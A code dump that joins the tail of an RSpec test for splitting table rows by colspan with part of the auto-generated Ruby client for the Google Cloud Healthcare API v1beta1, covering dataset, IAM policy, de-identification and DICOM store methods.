let(:row_tpl) { [{:colspan => 2},:a,:b,1,2,3,4] }
it 'understands keep in context of colspan' do
parts = subject.split(keep:4, cols: 2)
expect(parts).to have(2).items
expect(parts[0].table_rows).to contain_exactly([{:colspan => 2},:a,:b,1,2])
expect(parts[1].table_rows).to contain_exactly([{:colspan => 2},:a,:b,3,4])
end
end
end
end
| 30.315217 | 83 | 0.572607 |
ed5d678ce4225d7d1d96c9ff72f07d52a25ceb29
| 228,574 |
# Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module HealthcareV1beta1
# Cloud Healthcare API
#
# Manage, store, and access healthcare data in Google Cloud Platform.
#
# @example
# require 'google/apis/healthcare_v1beta1'
#
# Healthcare = Google::Apis::HealthcareV1beta1 # Alias the module
# service = Healthcare::CloudHealthcareService.new
#
# @see https://cloud.google.com/healthcare
class CloudHealthcareService < Google::Apis::Core::BaseService
# @return [String]
# API key. Your API key identifies your project and provides you with API access,
# quota, and reports. Required unless you provide an OAuth 2.0 token.
attr_accessor :key
# @return [String]
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
attr_accessor :quota_user
def initialize
super('https://healthcare.googleapis.com/', '')
@batch_path = 'batch'
end
# Gets information about a location.
# @param [String] name
# Resource name for the location.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Location] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Location]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Location::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Location
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists information about the supported locations for this service.
# @param [String] name
# The resource that owns the locations collection, if applicable.
# @param [String] filter
# The standard list filter.
# @param [Fixnum] page_size
# The standard list page size.
# @param [String] page_token
# The standard list page token.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::ListLocationsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListLocationsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_locations(name, filter: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}/locations', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListLocationsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListLocationsResponse
command.params['name'] = name unless name.nil?
command.query['filter'] = filter unless filter.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new health dataset. Results are returned through the
# Operation interface which returns either an
# `Operation.response` which contains a Dataset or
# `Operation.error`. The metadata
# field type is OperationMetadata.
# A Google Cloud Platform project can contain up to 500 datasets across all
# regions.
# @param [String] parent
# The name of the project where the server creates the dataset. For
# example, `projects/`project_id`/locations/`location_id``.
# @param [Google::Apis::HealthcareV1beta1::Dataset] dataset_object
# @param [String] dataset_id
# The ID of the dataset that is being created.
# The string must match the following regex: `[\p`L`\p`N`_\-\.]`1,256``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_project_location_dataset(parent, dataset_object = nil, dataset_id: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/datasets', options)
command.request_representation = Google::Apis::HealthcareV1beta1::Dataset::Representation
command.request_object = dataset_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['parent'] = parent unless parent.nil?
command.query['datasetId'] = dataset_id unless dataset_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new dataset containing de-identified data from the source
# dataset. The metadata field type
# is OperationMetadata.
# If the request is successful, the
# response field type is
# DeidentifySummary.
# If errors occur,
# error
# details field type is
# DeidentifyErrorDetails.
# Errors are also logged to Stackdriver Logging. For more information,
# see [Viewing logs](/healthcare/docs/how-tos/stackdriver-logging).
# @param [String] source_dataset
# Source dataset resource name. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id``.
# @param [Google::Apis::HealthcareV1beta1::DeidentifyDatasetRequest] deidentify_dataset_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def deidentify_dataset(source_dataset, deidentify_dataset_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+sourceDataset}:deidentify', options)
command.request_representation = Google::Apis::HealthcareV1beta1::DeidentifyDatasetRequest::Representation
command.request_object = deidentify_dataset_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['sourceDataset'] = source_dataset unless source_dataset.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes the specified health dataset and all data contained in the dataset.
# Deleting a dataset does not affect the sources from which the dataset was
# imported (if any).
# @param [String] name
# The name of the dataset to delete. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets any metadata associated with a dataset.
# @param [String] name
# The name of the dataset to read. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id``.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Dataset] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Dataset]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Dataset::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Dataset
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the access control policy for a resource.
# Returns an empty policy if the resource exists and does not have a policy
# set.
# @param [String] resource
# REQUIRED: The resource for which the policy is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Fixnum] options_requested_policy_version
# Optional. The policy format version to be returned.
# Valid values are 0, 1, and 3. Requests specifying an invalid value will be
# rejected.
# Requests for policies with any conditional bindings must specify version 3.
# Policies without any conditional bindings may specify any valid value or
# leave the field unset.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_iam_policy(resource, options_requested_policy_version: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+resource}:getIamPolicy', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['options.requestedPolicyVersion'] = options_requested_policy_version unless options_requested_policy_version.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists the health datasets in the current project.
# @param [String] parent
# The name of the project whose datasets should be listed.
# For example, `projects/`project_id`/locations/`location_id``.
# @param [Fixnum] page_size
# The maximum number of items to return. Capped to 100 if not specified.
# May not be larger than 1000.
# @param [String] page_token
# The next_page_token value returned from a previous List request, if any.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::ListDatasetsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::ListDatasetsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_datasets(parent, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+parent}/datasets', options)
command.response_representation = Google::Apis::HealthcareV1beta1::ListDatasetsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::ListDatasetsResponse
command.params['parent'] = parent unless parent.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates dataset metadata.
# @param [String] name
# Output only. Resource name of the dataset, of the form
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id``.
# @param [Google::Apis::HealthcareV1beta1::Dataset] dataset_object
# @param [String] update_mask
# The update mask applies to the resource. For the `FieldMask` definition,
# see
# https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#
# fieldmask
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Dataset] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Dataset]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def patch_project_location_dataset(name, dataset_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:patch, 'v1beta1/{+name}', options)
command.request_representation = Google::Apis::HealthcareV1beta1::Dataset::Representation
command.request_object = dataset_object
command.response_representation = Google::Apis::HealthcareV1beta1::Dataset::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Dataset
command.params['name'] = name unless name.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Sets the access control policy on the specified resource. Replaces any
# existing policy.
# Can return Public Errors: NOT_FOUND, INVALID_ARGUMENT and PERMISSION_DENIED
# @param [String] resource
# REQUIRED: The resource for which the policy is being specified.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::SetIamPolicyRequest] set_iam_policy_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def set_dataset_iam_policy(resource, set_iam_policy_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:setIamPolicy', options)
command.request_representation = Google::Apis::HealthcareV1beta1::SetIamPolicyRequest::Representation
command.request_object = set_iam_policy_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Returns permissions that a caller has on the specified resource.
# If the resource does not exist, this will return an empty set of
# permissions, not a NOT_FOUND error.
# Note: This operation is designed to be used for building permission-aware
# UIs and command-line tools, not for authorization checking. This operation
# may "fail open" without warning.
# @param [String] resource
# REQUIRED: The resource for which the policy detail is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest] test_iam_permissions_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def test_dataset_iam_permissions(resource, test_iam_permissions_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:testIamPermissions', options)
command.request_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsRequest::Representation
command.request_object = test_iam_permissions_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse::Representation
command.response_class = Google::Apis::HealthcareV1beta1::TestIamPermissionsResponse
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new DICOM store within the parent dataset.
# @param [String] parent
# The name of the dataset this DICOM store belongs to.
# @param [Google::Apis::HealthcareV1beta1::DicomStore] dicom_store_object
# @param [String] dicom_store_id
# The ID of the DICOM store that is being created.
# Any string value up to 256 characters in length.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::DicomStore] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::DicomStore]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_project_location_dataset_dicom_store(parent, dicom_store_object = nil, dicom_store_id: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+parent}/dicomStores', options)
command.request_representation = Google::Apis::HealthcareV1beta1::DicomStore::Representation
command.request_object = dicom_store_object
command.response_representation = Google::Apis::HealthcareV1beta1::DicomStore::Representation
command.response_class = Google::Apis::HealthcareV1beta1::DicomStore
command.params['parent'] = parent unless parent.nil?
command.query['dicomStoreId'] = dicom_store_id unless dicom_store_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates a new DICOM store containing de-identified data from the source
# store. The metadata field type
# is OperationMetadata.
# If the request is successful, the
# response field type is
# DeidentifyDicomStoreSummary. If errors occur,
# error
# details field type is
# DeidentifyErrorDetails.
# Errors are also logged to Stackdriver
# (see [Viewing logs](/healthcare/docs/how-tos/stackdriver-logging)).
# @param [String] source_store
# Source DICOM store resource name. For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [Google::Apis::HealthcareV1beta1::DeidentifyDicomStoreRequest] deidentify_dicom_store_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def deidentify_dicom_store(source_store, deidentify_dicom_store_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+sourceStore}:deidentify', options)
command.request_representation = Google::Apis::HealthcareV1beta1::DeidentifyDicomStoreRequest::Representation
command.request_object = deidentify_dicom_store_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['sourceStore'] = source_store unless source_store.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes the specified DICOM store and removes all images that are contained
# within it.
# @param [String] name
# The resource name of the DICOM store to delete.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_dataset_dicom_store(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Empty::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Exports data to the specified destination by copying it from the DICOM
# store.
# The metadata field type is
# OperationMetadata.
# @param [String] name
# The DICOM store resource name from which to export the data. For
# example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [Google::Apis::HealthcareV1beta1::ExportDicomDataRequest] export_dicom_data_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def export_dicom_store_dicom_data(name, export_dicom_data_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:export', options)
command.request_representation = Google::Apis::HealthcareV1beta1::ExportDicomDataRequest::Representation
command.request_object = export_dicom_data_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the specified DICOM store.
# @param [String] name
# The resource name of the DICOM store to get.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::DicomStore] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::DicomStore]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_dicom_store(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::HealthcareV1beta1::DicomStore::Representation
command.response_class = Google::Apis::HealthcareV1beta1::DicomStore
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the access control policy for a resource.
# Returns an empty policy if the resource exists and does not have a policy
# set.
# @param [String] resource
# REQUIRED: The resource for which the policy is being requested.
# See the operation documentation for the appropriate value for this field.
# @param [Fixnum] options_requested_policy_version
# Optional. The policy format version to be returned.
# Valid values are 0, 1, and 3. Requests specifying an invalid value will be
# rejected.
# Requests for policies with any conditional bindings must specify version 3.
# Policies without any conditional bindings may specify any valid value or
# leave the field unset.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_dataset_dicom_store_iam_policy(resource, options_requested_policy_version: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+resource}:getIamPolicy', options)
command.response_representation = Google::Apis::HealthcareV1beta1::Policy::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['options.requestedPolicyVersion'] = options_requested_policy_version unless options_requested_policy_version.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Imports data into the DICOM store by copying it from the specified source.
# For errors, the Operation is populated with error details (in the form
# of ImportDicomDataErrorDetails in error.details), which hold
# finer-grained error information. Errors are also logged to Stackdriver
# Logging. For more information,
# see [Viewing logs](/healthcare/docs/how-tos/stackdriver-logging).
# The metadata field type is
# OperationMetadata.
# @param [String] name
# The name of the DICOM store resource into which the data is imported.
# For example,
# `projects/`project_id`/locations/`location_id`/datasets/`dataset_id`/
# dicomStores/`dicom_store_id``.
# @param [Google::Apis::HealthcareV1beta1::ImportDicomDataRequest] import_dicom_data_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::HealthcareV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::HealthcareV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def import_dicom_store_dicom_data(name, import_dicom_data_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:import', options)
command.request_representation = Google::Apis::HealthcareV1beta1::ImportDicomDataRequest::Representation
command.request_object = import_dicom_data_request_object
command.response_representation = Google::Apis::HealthcareV1beta1::Operation::Representation
command.response_class = Google::Apis::HealthcareV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists the DICOM stores in the given dataset.
# @param [String] parent
# Name of the dataset.
# @param [String] filter
# Restricts stores returned to those matching a filter. Syntax:
# https://cloud.google.com/appengine/docs/standard/python/search/query_strings
# Only filtering on labels is supported. For example, `labels.key=value`.
# @param [Fixnum] page_size
# Limit on the number of DICOM stores to return in a single response.
# If zero the default page size of 100 is used.
# @param [String] page_token
# The next_page_token value returned from the previous List request, if any.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
